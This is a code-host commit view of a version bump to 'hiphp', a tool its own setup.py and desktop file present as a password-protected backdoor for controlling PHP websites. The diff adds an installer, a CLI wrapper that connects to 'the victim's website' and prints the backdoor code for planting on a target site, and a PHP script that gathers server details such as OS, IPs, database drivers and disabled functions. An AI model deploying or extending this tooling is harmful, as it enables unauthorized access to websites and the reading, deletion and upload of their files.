Projects STRLCPY hiphp Commits 9a7a8e05
🤬
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■ ■
    CHANGELOG
     1 +## 0.2.16 [02-07-2022]
     2 + - Bug fixes & performance improvements.
     3 +
    1 4  ## 0.2.15 [22-06-2022]
    2 5   - New build.
    3 6   - More stability.
    skipped 62 lines
  • ■ ■ ■ ■ ■
    Dockerfile
    1 1  # code by : yasserbdj96
    2 2  # email : [email protected]
    3 3   
    4  -# docker pull yasserbdj96/hiphp:latest
     4 +# docker pull docker.io/yasserbdj96/hiphp:latest
    5 5  # docker build -t docker.io/yasserbdj96/hiphp:latest .
    6 6  # docker run -e KEY="<KEY>" -e URL="<URL>" -i -t docker.io/yasserbdj96/hiphp:latest
     7 + 
     8 +# docker pull ghcr.io/yasserbdj96/hiphp:latest
     9 +# docker build -t ghcr.io/yasserbdj96/hiphp:latest .
     10 +# docker run -e KEY="<KEY>" -e URL="<URL>" -i -t ghcr.io/yasserbdj96/hiphp:latest
     11 + 
    7 12   
    8 13  #START{
    9 14  FROM python:3.9
    skipped 12 lines
  • ■ ■ ■ ■ ■
    README.md
    1 1  <p align="center">
    2  -<img align="center" src="https://raw.githubusercontent.com/yasserbdj96/hiphp/main/screenshot/screenshot.png">
     2 +<img align="center" src="https://raw.githubusercontent.com/yasserbdj96/hiphp/main/install/hiphp.png">
    3 3  </p>
    4 4   
    5 5   
    skipped 47 lines
    53 53  docker run -e KEY="<KEY>" -e URL="<URL>" -i -t ghcr.io/yasserbdj96/hiphp:latest
    54 54  ```
    55 55   
    56  -<h2>Installation:</h2>
     56 +<h2>Python Package Installation:</h2>
    57 57   
    58 58  ```
    59 59  pip install hiphp
    60 60  ```
    61 61   
     62 +<h2>Ubuntu Installation:</h2>
     63 + 
     64 +```
     65 +git clone https://github.com/yasserbdj96/hiphp.git
     66 +cd hiphp/install
     67 +bash install.sh -i
     68 +hiphp
     69 +```
     70 + 
    62 71  <h2>Usage:</h2>
    63 72   
    64 73  ```python
    skipped 46 lines
    111 120   <a href="https://raw.githubusercontent.com/yasserbdj96/hiphp/main/screenshot/screenshot1.png">
    112 121   <img height="100" src="https://raw.githubusercontent.com/yasserbdj96/hiphp/main/screenshot/screenshot1.png">
    113 122   </a>
    114  - <a href="https://raw.githubusercontent.com/yasserbdj96/hiphp/main/scripts/hiphp_ftp/screenshot.png">
    115  - <img height="100" src="https://raw.githubusercontent.com/yasserbdj96/hiphp/main/scripts/hiphp_ftp/screenshot.png">
     123 + <a href="https://raw.githubusercontent.com/yasserbdj96/hiphp/main/scripts/hiphp_ftp/screenshot/screenshot.png">
     124 + <img height="100" src="https://raw.githubusercontent.com/yasserbdj96/hiphp/main/scripts/hiphp_ftp/screenshot/screenshot.png">
     125 + </a>
     126 + <a href="https://raw.githubusercontent.com/yasserbdj96/hiphp/main/scripts/hiphp_desktop/screenshot/screenshot.png">
     127 + <img height="100" src="https://raw.githubusercontent.com/yasserbdj96/hiphp/main/scripts/hiphp_desktop/screenshot/screenshot.png">
    116 128   </a>
    117  - <a href="https://raw.githubusercontent.com/yasserbdj96/hiphp/main/scripts/hiphp_desktop/screenshot.png">
    118  - <img height="100" src="https://raw.githubusercontent.com/yasserbdj96/hiphp/main/scripts/hiphp_desktop/screenshot.png">
     129 + <a href="https://raw.githubusercontent.com/yasserbdj96/hiphp/main/scripts/hiphp_desktop/screenshot/screenshot1.png">
     130 + <img height="100" src="https://raw.githubusercontent.com/yasserbdj96/hiphp/main/scripts/hiphp_desktop/screenshot/screenshot1.png">
    119 131   </a>
    120 132  </div>
    121 133   
    122 134  <h2>Changelog History:</h2>
    123 135   
    124 136  ```
     137 +## 0.2.16 [02-07-2022]
     138 + - Bug fixes & performance improvements.
     139 + 
    125 140  ## 0.2.15 [22-06-2022]
    126 141   - New build.
    127 142   - More stability.
    skipped 73 lines
  • ■ ■ ■ ■ ■ ■
    examples/examples.php
    1 1  <?php
    2 2   # code by : yasserbdj96
    3 3   # email : [email protected]
     4 + 
     5 + header('Content-type: text/plain');
     6 + 
     7 + echo "OS : ".php_uname();
     8 + echo "\n";
     9 + echo "your_ip: ".$_SERVER['REMOTE_ADDR'];
     10 + echo "\n";
     11 + echo "Server Name : ".$_SERVER['HTTP_HOST'];
     12 + echo "\n";
     13 + echo "Admin Server : ".$_SERVER['SERVER_ADMIN'];
     14 + echo "\n";
     15 + echo "Server port : ".htmlentities($_SERVER['SERVER_PORT'], ENT_QUOTES, 'UTF-8');
     16 + echo "\n";
     17 + echo "server_ip : ".gethostbyname($_SERVER["HTTP_HOST"]);
     18 + echo "\n";
     19 + echo "server_software : ".getenv("SERVER_SOFTWARE");
     20 + echo "\n";
     21 + echo "Php Version : ".phpversion();
     22 + echo "\n";
     23 + echo "Zend : ".htmlentities(zend_version(), ENT_QUOTES, 'UTF-8');
     24 + echo "\n";
     25 + echo "Oracle : ".$Oracle2=function_exists('ocilogon')?("ON"):("OFF");
     26 + echo "\n";
     27 + echo "MySQL : ".$MySQL2=function_exists('mysql_connect')?("ON"):("OFF");
     28 + echo "\n";
     29 + echo "MSSQL : ".$MSSQL2=function_exists('mssql_connect')?("ON"):("OFF");
     30 + echo "\n";
     31 + echo "PostgreSQL : ".$pg_connect2=function_exists('pg_connect')?("ON"):("OFF");
     32 + echo "\n";
     33 + echo "disabled_functions : ".$r=ini_get('disable_functions') ? ini_get('disable_functions'):'none';
     34 + echo "\n";
     35 + echo "\n";
     36 + echo "\n";
     37 + 
     38 + // variables check:
    4 39   if("__var1__"=="true"){
    5 40   echo "This is a test with a variable. var1_value=__var1__, var2_value=__var2__";
    6 41   }else{
    skipped 4 lines
  • ■ ■ ■ ■
    hiphp/hiphphelp.py
    skipped 5 lines
    6 6  #START{
    7 7  def help():
    8 8   help_text="""
    9  -HiPHP Commands :
     9 +hiphp Commands :
    10 10  ════════════════
    11 11   Command Description
    12 12   ------- -----------
    skipped 36 lines
  • ■ ■ ■ ■ ■ ■
    install/hiphp
     1 +#!/bin/bash
     2 +# code by : yasserbdj96
     3 +# email : [email protected]
     4 + 
     5 +#START{
     6 +#help:
     7 +if [ -z "$1" ]; then
     8 + echo "Usage: hiphp [OPTION]";
     9 + echo "";
     10 + echo "ex: hiphp --help | # hiphp cli help.";
     11 + echo " hiphp --geth [KEY] [URL] | # Get the hole Code.";
     12 + echo " hiphp [KEY] [URL] | # Connect to the victim's website.";
     13 + echo " hiphp --ftp [KEY] [URL] | # Run hiphp as GUI in 'hiphp_ftp' script.";
     14 + echo " hiphp --dst | # Run hiphp as GUI in 'hiphp_desktop' script.";
     15 + 
     16 +#cli help:
     17 +elif [ "$1" == "--help" ] ; then
     18 + python "/usr/share/hiphp/hiphp.py" "--help";
     19 + 
     20 +#hiphp_ftp:
     21 +elif [ "$1" == "--ftp" ] ; then
     22 + python "/usr/share/hiphp/hiphp_ftp.py" "$2" "$3";
     23 + 
     24 +#hiphp_desktop:
     25 +elif [ "$1" == "--dst" ] ; then
     26 + python "/usr/share/hiphp/hiphp_desktop.py";
     27 + 
     28 +#cli:
     29 +else
     30 + if [ "$1" == "--geth" ] ; then
     31 + python "/usr/share/hiphp/hiphp.py" $1 $2 $3;
     32 + else
     33 + python "/usr/share/hiphp/hiphp.py" $1 $2;
     34 + fi
     35 +fi
     36 +#}END.
  • ■ ■ ■ ■ ■ ■
    install/hiphp.desktop
     1 +# code by : yasserbdj96
     2 +# email : [email protected]
     3 + 
     4 +#START{
     5 +[Desktop Entry]
     6 +Name=hiphp
     7 +Comment=Open-source BackDoor to control php-based sites
     8 +GenericName=hiphp
     9 +Exec=sh -c '/usr/local/bin/hiphp;${SHELL:-bash}'
     10 +Icon=/usr/share/hiphp/hiphp.png
     11 +Type=Application
     12 +Terminal=true
     13 +Categories=Development;BackDoor;websites;IDE;
     14 +MimeType=text/x-hiphp
     15 +Keywords=backdoor;controller;
     16 +#}END.
  • install/hiphp.png
  • ■ ■ ■ ■ ■ ■
    install/hiphp.py
     1 +#!/usr/bin/env python
     2 +# coding:utf-8
     3 +# code by : yasserbdj96
     4 +# email : [email protected]
     5 +
     6 +#START{
     7 +from hiphp import *
     8 +import sys
     9 +
     10 +if sys.argv[1]=="--help":
     11 + from hiphp.hiphphelp import *
     12 + print(help())
     13 + exit()
     14 +elif sys.argv[1]=="--geth":
     15 + p1=hiphp(key=sys.argv[2],url=sys.argv[3])
     16 + # Get the hole Code:
     17 + p1.get_hole()# Copy this code into the file whose path you entered earlier. ex: https://localhost/index.php
     18 + exit()
     19 +else:
     20 + # connect:
     21 + p1=hiphp(key=sys.argv[1],url=sys.argv[2])#Default: retu=False.
     22 + # Command line interface:
     23 + p1.cli()
     24 +#}END.
     25 + 
  • ■ ■ ■ ■ ■ ■
    install/install.sh
     1 +#!/bin/bash
     2 +# code by : yasserbdj96
     3 +# email : [email protected]
     4 + 
     5 +#START{
     6 +# app name:
     7 +appname="hiphp"
     8 + 
     9 +# install:
     10 +if [ "$1" == "-i" ] ; then
     11 + chmod +x "$appname";
     12 + sudo mkdir "/usr/share/$appname";
     13 + sudo cp -r "../$appname/." "/usr/share/$appname/$appname";
     14 + sudo cp "$appname.py" "/usr/share/$appname/$appname.py";
     15 + sudo cp "$appname.png" "/usr/share/$appname/$appname.png";
     16 + sudo cp "$appname.desktop" "/usr/share/applications/$appname.desktop";
     17 + sudo cp "$appname" "/usr/local/bin/$appname";
     18 + 
     19 + # install hiphp_ftp script:
     20 + sudo cp "../scripts/hiphp_ftp/main.py" "/usr/share/$appname/hiphp_ftp.py";
     21 + sudo cp "../scripts/hiphp_ftp/favicon.png" "/usr/share/$appname/favicon.png";
     22 + pip install -r "../scripts/hiphp_ftp/requirements.txt";
     23 + 
     24 + # install hiphp_desktop script:
     25 + sudo cp "../scripts/hiphp_desktop/main.py" "/usr/share/$appname/hiphp_desktop.py";
     26 + sudo cp -r "../scripts/hiphp_desktop/src/." "/usr/share/$appname/src";
     27 + pip install -r "../scripts/hiphp_desktop/requirements.txt";
     28 + 
     29 +# uninstall:
     30 +elif [ "$1" == "-u" ] ; then
     31 + sudo rm -r "/usr/share/$appname";
     32 + #sudo rm "/usr/share/$appname/$appname.png";
     33 + sudo rm "/usr/share/applications/$appname.desktop";
     34 + sudo rm "/usr/local/bin/$appname";
     35 +# usage:
     36 +else
     37 + echo "Usage: bash $0 [OPTION]";
     38 + echo " -i | # for install.";
     39 + echo " -u | # for uninstall.";
     40 +fi
     41 +#}END.
  • screenshot/screenshot.png
  • screenshot/screenshot1.png
  • ■ ■ ■ ■ ■
    scripts/hiphp_desktop/main.py
    skipped 6 lines
    7 7  import eel
    8 8  from hiphp import *
    9 9  from src.php import *
     10 +import os
    10 11   
    11  -eel.init('src')
     12 + 
     13 +eel.init(f'{os.path.dirname(os.path.realpath(__file__))}/src')
     14 +#eel.init('src')
    12 15   
    13 16  #connect:
    14 17  @eel.expose
    skipped 52 lines
    67 70   p1=hiphp(key,url,retu=True)
    68 71   return p1.run(php_permi(path,permi))
    69 72   
    70  -eel.start("index.html",host="127.0.0.1",port=96,size=(850,400))
     73 +eel.start("index.html",host="127.0.0.2",port=96,size=(850,400))
    71 74  #}END.
     75 + 
  • scripts/hiphp_desktop/screenshot/screenshot.png
  • scripts/hiphp_desktop/screenshot/screenshot1.png
  • scripts/hiphp_desktop/src/favicon.ico
  • scripts/hiphp_desktop/src/hiphp_logo.png
  • ■ ■ ■ ■ ■
    scripts/hiphp_desktop/src/index.html
    skipped 6 lines
    7 7   <script type="text/javascript" src="./eel.js"></script>
    8 8   <script type="text/javascript" src="./script.js"></script>
    9 9   <link rel="stylesheet" href="./style.css">
     10 + <link rel="icon" href="./favicon.ico">
    10 11   </head>
    11 12   <body>
    12 13   <div id="connected">
    skipped 15 lines
    28 29   <--spam><input type="checkbox">unselect</spam>
    29 30   </div-->
    30 31  
    31  -
    32 32   <textarea id="cat" class="cat"></textarea>
    33 33   </div>
    34 34   
    35 35   <div id="login">
     36 + <img src="./hiphp_logo.png" style="width: 160px;"><br>
    36 37   <input type="text" id="key" value="123" placeholder="Key" style="width:50%;"><br>
    37 38   <input type="text" id="url" value="http://localhost/index.php" style="width:50%;" placeholder="Url"><br>
    38  - <input type="button" value="Submit" onclick="connect()"><br>
     39 + <input type="button" value="Login" onclick="connect()"><br>
    39 40   </div>
    40 41   </body>
    41 42  </html>
    skipped 1 lines
  • ■ ■ ■ ■ ■ ■
    scripts/hiphp_desktop/src/style.css
    skipped 12 lines
    13 13  }
    14 14   
    15 15  input[type=text] {
    16  - padding: 5px;
     16 + padding: 5px 5px;
    17 17   margin: 4px 0;
    18 18   box-sizing: border-box;
    19 19  }
    skipped 4 lines
    24 24   text-decoration: none;
    25 25   margin: 4px 2px;
    26 26   cursor: pointer;
    27  - padding: 5px;
     27 + padding: 5px 5px;
    28 28   border-radius: 3px;
    29 29  }
    30 30   
    skipped 43 lines
    74 74   height: 100px;
    75 75   text-align: center;
    76 76   position: absolute;
    77  - top: 50%;
     77 + top: 25%;
    78 78   left: 50%;
    79 79   margin-right: -50%;
    80 80   transform: translate(-50%, -50%);
    skipped 66 lines
  • ■ ■ ■ ■ ■ ■
    scripts/hiphp_desktop/usage.txt
     1 +python3 main.py
     2 + 
  • scripts/hiphp_ftp/favicon.png
  • ■ ■ ■ ■ ■
    scripts/hiphp_ftp/main.py
    skipped 16 lines
    17 17   URL = os.environ['URL'] if "URL" in os.environ else sys.argv[2]
    18 18   KEY = os.environ['KEY'] if "KEY" in os.environ else sys.argv[1]
    19 19  except Exception as e:
    20  - print(f"USAGE : python3 {sys.argv[0]} <KEY> <URL>")
     20 + print(f"USAGE : python3 {sys.argv[0]} [KEY] [URL]")
    21 21   exit()
    22 22  
    23 23  url=URL
    skipped 92 lines
    116 116   Reconnect()
    117 117  
    118 118  root=Tk()
    119  -root.title('Hiphp FTP')
    120  -#root.iconbitmap(r'favicon.ico')
     119 +root.title('hiphp FTP')
     120 +try:
     121 + try:
     122 + photo = PhotoImage(file = "./favicon.png")
     123 + root.iconphoto(False, photo)
     124 + except:
     125 + photo = PhotoImage(file = "/usr/share/hiphp/favicon.png")
     126 + root.iconphoto(False, photo)
     127 +except:
     128 + pass
     129 +#root.iconbitmap(r'favicon.png')
    121 130  root.geometry('700x500')
    122 131  scrollbar=Scrollbar(root)
    123 132  
    skipped 70 lines
    194 203  c1=Checkbutton(root,text='multiple selection',variable=var1,onvalue=1,offvalue=0,command=selectmode)
    195 204  c1.pack(side="top")
    196 205  
    197  -w=Label(root,text="v1.0.6 by yasserbdj96")
     206 +w=Label(root,text="v1.0.7 by yasserbdj96")
    198 207  w.pack()
    199 208  w.place(relx=1.0,rely=1.0,anchor='se')
    200 209  
    skipped 2 lines
  • scripts/hiphp_ftp/screenshot/screenshot.png
  • ■ ■ ■ ■ ■ ■
    scripts/hiphp_ftp/usage.txt
     1 +python3 main.py [KEY] [URL]
     2 + 
  • ■ ■ ■ ■
    setup.py
    skipped 6 lines
    7 7  from setuptools import setup,find_packages
    8 8  setup(
    9 9   name="hiphp",
    10  - version="0.2.15",
     10 + version="0.2.16",
    11 11   author="yasserbdj96",
    12 12   author_email="[email protected]",
    13 13   description='''hiphp is BackDoor to control php-based sites hiphp can be controlled by sending commands, files, and tokens to the site using the http/https protocol. After copying the code and placing it in any php file on the target website, you will have permissions to enter it, read all files, delete and even upload new files to it. Also, this back door is password protected.''',
    skipped 26 lines
  • ■ ■ ■ ■
    version.txt
    1  -0.2.15
     1 +0.2.16
    2 2   
Please wait...
Page is in error, reload to recover